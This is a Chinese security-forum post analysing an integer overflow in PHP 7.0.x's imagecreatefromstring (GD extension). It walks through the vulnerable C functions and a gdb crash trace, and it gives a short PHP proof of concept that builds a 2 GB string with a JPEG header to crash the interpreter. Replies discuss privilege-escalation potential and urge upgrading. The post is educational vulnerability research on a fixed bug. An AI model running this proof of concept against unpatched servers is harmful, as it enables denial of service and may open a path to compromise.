首页
论坛
专栏
课程

[原创] PHP 7 漏洞挖掘系列之一:Stack-based integer overflow

2017-4-11 18:17 3766

[原创] PHP 7 漏洞挖掘系列之一:Stack-based integer overflow

2017-4-11 18:17
3766

   

0x01 前言

首先声明这些漏洞不是我挖的,我想挖但是挖不出来,蛋疼。本次讲解栈溢出漏洞,这个漏洞是比较常见的漏洞,现在php里面不太常见了,php漏洞挖掘没有啥好工具,只能人工慢慢的看,afl好像可以自动化挖掘,不过我跑了10几天也没跑出个crash。

包含漏洞的版本:PHP 7.0.11


0x02 漏洞分析

首先下载源码http://php.net/releases/,然后编译安装,版本可以低一点,往后的漏洞这个版本都是没打补丁的。环境采用ubuntu和编译版本的php7.0.2,只有linux才有符号表,windows下不好调试,虽然方便的多。现在正式开始吧。 

定位到漏洞函数代码 /ext/gd/gd.c:2222

PHP_FUNCTION(imagecreatefromstring)
{
         zval *data;
         gdImagePtr im;
         int imtype;
         char sig[8];
 
         if (zend_parse_parameters(ZEND_NUM_ARGS(), "z", &data) == FAILURE) {
                   return;
         }
         convert_to_string_ex(data);
         if (Z_STRLEN_P(data) < 8) {
                   php_error_docref(NULL, E_WARNING, "Empty string or invalid image");
                   RETURN_FALSE;
         }
         memcpy(sig, Z_STRVAL_P(data), 8);
         imtype = _php_image_type(sig);
         switch (imtype) {
                   case PHP_GDIMG_TYPE_JPG:
#ifdef HAVE_GD_JPG
                            im = _php_image_create_from_string(data, "JPEG", gdImageCreateFromJpegCtx);
#else
                            php_error_docref(NULL, E_WARNING, "No JPEG support in this PHP build");
                            RETURN_FALSE;
#endif
                            break;
                   case PHP_GDIMG_TYPE_PNG:
#ifdef HAVE_GD_PNG
                            im = _php_image_create_from_string(data, "PNG", gdImageCreateFromPngCtx);
#else
                            php_error_docref(NULL, E_WARNING, "No PNG support in this PHP build");
                            RETURN_FALSE;
#endif
                            break;
                   case PHP_GDIMG_TYPE_GIF:
                            im = _php_image_create_from_string(data, "GIF", gdImageCreateFromGifCtx);
                            break;
                   case PHP_GDIMG_TYPE_WBM:
                            im=_php_image_create_from_string(data,"WBMP", gdImageCreateFromWBMPCtx);
                            break;
                   case PHP_GDIMG_TYPE_GD2:
                            im = _php_image_create_from_string(data, "GD2", gdImageCreateFromGd2Ctx);
                            break;
                   default:
                            php_error_docref(NULL, E_WARNING, "Data is not in a recognized format");
                            RETURN_FALSE;
         }
         if (!im) {
                   php_error_docref(NULL, E_WARNING, "Couldn't create GD Image Stream out of Data");
                   RETURN_FALSE;
         }
         RETURN_RES(zend_register_resource(im, le_gd));
}

有可能上面的代码长了点,但是只要找到关键函数就行了_php_image_create_from_string,在这个函数中的gdNewDynamicCtxEx这个函数才是关键点,跟踪进去就行了。在gd.c:2196行,假如你使用其他版本可能行号不一样,不过没事搜索函数就行了。

gdImagePtr _php_image_create_from_string(zval *data, char *tn, gdImagePtr (*ioctx_func_p)())
{
         gdImagePtr im;
         gdIOCtx *io_ctx;
         io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data),Z_STRVAL_P(data), 0);  //这边的传入参数的长度为0x80000000  由于是int,所以这边整数溢出。
………………………………………………………………………………
gdNewDynamicCtxEx函数代码,行号就不说了。
gdIOCtx * gdNewDynamicCtxEx (int initialSize, void *data, int freeOKFlag)
{
         dpIOCtx *ctx;
         dynamicPtr *dp;
         ctx = (dpIOCtx *) gdMalloc (sizeof (dpIOCtx));
         dp = newDynamic(initialSize, data, freeOKFlag);
         ctx->dp = dp; //这边将initialSize 赋值了
         ctx->ctx.getC =dynamicGetchar; //这边造成栈溢出,跟踪进去进行了。
………………………………………………………………………………
newDynamic函数代码
static dynamicPtr * newDynamic (int initialSize, void *data, int freeOKFlag)
{
         dynamicPtr *dp;
         dp = (dynamicPtr *) gdMalloc (sizeof (dynamicPtr)); // 这边申请了64个字节
         allocDynamic (dp, initialSize, data);
………………………………………………………..
static int
allocDynamic (dynamicPtr * dp, int initialSize, void *data)
{
         if (data == NULL) {
                   dp->logicalSize = 0;
                   dp->dataGood = FALSE;
                   dp->data = gdMalloc(initialSize);  这里的initialSize的值为-2147483648
         } else {
                   dp->logicalSize = initialSize;
                   dp->dataGood = TRUE;
                   dp->data = data;
         }
……………………………………………….
static int dynamicGetchar (gdIOCtxPtr ctx)
{
         unsigned char b;
         int rv;
         rv = dynamicGetbuf (ctx, &b, 1);
 
………………………………………………………………………………
static int dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len)
{
         int rlen, remain;
         dpIOCtxPtr dctx;
         dynamicPtr *dp;
         dctx = (dpIOCtxPtr) ctx;
         dp = dctx->dp;
         remain = dp->logicalSize - dp->pos;
         if (remain >= len) {
                   rlen = len;
         } else {
                   if (remain == 0) {
                            return EOF;
                   }
                   rlen = remain;//上面的remain 的值为负数,没有检查,直接比较后赋值,所以导致下面的rlen的值过大造成栈溢出。
         }
         memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen); //这边造成了栈溢出

下面是几个结构体,可以对照着去理解代码。

ypedef struct gdIOCtx {
int    (*getC)(struct gdIOCtx*);
int    (*getBuf)(struct gdIOCtx*, void*, int);
void  (*putC)(struct gdIOCtx*, int);
int    (*putBuf)(struct gdIOCtx*, const void*, int);
int    (*seek)(struct gdIOCtx*, const int);
long (*tell)(struct gdIOCtx*);
void  (*gd_free)(struct gdIOCtx*);
void  *data;
} gdIOCtx;
………………………………………………………………………………
typedef struct dpStruct
{
void *data;
int logicalSize;
int realSize;
int dataGood;
int pos;
int freeOK;
} dynamicPtr;
………………………………………………………………………………
typedef struct dpIOCtx
{
gdIOCtx ctx;
dynamicPtr *dp;
} dpIOCtx;
………………………………………………………………………………

下面是gdb的调试信息,不知道为什么参数的值没有显示出来。有些代码直接阅读比较麻烦,可以gdb调试代码,再调试的同时,打印出它的值。

root@mhn:~# gdb -q --args php-7.0.2/sapi/cli/php -n test.php
Reading symbols from php-7.0.2/sapi/cli/php...done.
(gdb) r
Starting program: /root/php-7.0.2/sapi/cli/php -n test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:118
118  ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
(gdb) bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:118
#1  0x000000000059c1cf in memcpy (__len=18446744071562067968, __src=<optimized out>, __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string3.h:51
#2  dynamicGetbuf (ctx=<optimized out>, buf=<optimized out>, len=<optimized out>) at /root/php-7.0.2/ext/gd/libgd/gd_io_dp.c:246
#3  0x000000000059dd05 in php_gd_fill_input_buffer (cinfo=0x7fffffffaa70) at /root/php-7.0.2/ext/gd/libgd/gd_jpeg.c:607
#4  0x00007ffff73144e6 in ?? () from /usr/lib/x86_64-linux-gnu/libjpeg.so.8
#5  0x00007ffff73129ca in ?? () from /usr/lib/x86_64-linux-gnu/libjpeg.so.8

poc就放下面了

<?php
ini_set('memory_limit',-1);
$var_3  =  str_repeat("A",0x80000000);
$var_3[0]="\xff";
$var_3[1]="\xd8";
$var_3[2]="\xff";
imagecreatefromstring($var_3);

这边为什么要替换变量的值呢,由于它上面会检查文件头是否为真实的图片。所以我这边用了jpg的文件头,应该是吧,我也忘了啥文件头,反正只要网上搜索一下图片的文件头就行了。

0x03 小结

说实话我也是初学者,只能这样写一篇文章了,网上的php底层的漏洞挖掘太少了,就只有应用层的代码审计,希望能够给初学者们帮助吧。如果写的有啥不对的地方欢迎指出。

参考链接

https://bugs.php.net/bug.php?id=73280


   



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

打赏 + 1.00
打赏次数 1 金额 + 1.00
收起 
赞赏  CCkicker   +1.00 2017/05/08
最新回复 (8)
axiuno 2017-4-11 18:51
2
0

如果是 7.0.11 那么应该会有不少环境都包含此漏洞,理论上能拿到 php 进程权限,可能是 www,也可能是 root,威胁还是很大的。不过在实际的项目中这个函数 image_create_from_string() 使用的频度不太高。


建议还在使用 PHP 7 低版本的用户尽快升级到最新版本,避免服务器遭到入侵。

kanxue 8 2017-4-11 18:52
3
0
最新的7.1.2有验证过?
hackyzh 3 2017-4-11 19:21
4
0
最新的早就修复了,
hackyzh 3 2017-4-11 19:22
5
0
kanxue 最新的7.1.2有验证过?
这是我写这个系列,选的案例
hackyzh 3 2017-4-11 19:26
6
0
axiuno 如果是 7.0.11 那么应该会有不少环境都包含此漏洞,理论上能拿到 php 进程权限,可 ...
对的,这些函数使用的比较少,用来本地提权的话,倒不错的。版本不一样行号不一样,我下的版本是在那些行号上。
kanxue 8 2017-4-11 20:58
7
0
hackyzh 这是我写这个系列,选的案例
不错,期待后续系列
marsboys 2017-4-12 01:38
8
0
好文。谢谢分享
黑桃X 2017-4-15 11:24
9
0
多谢分享
游客
登录 | 注册 方可回帖
返回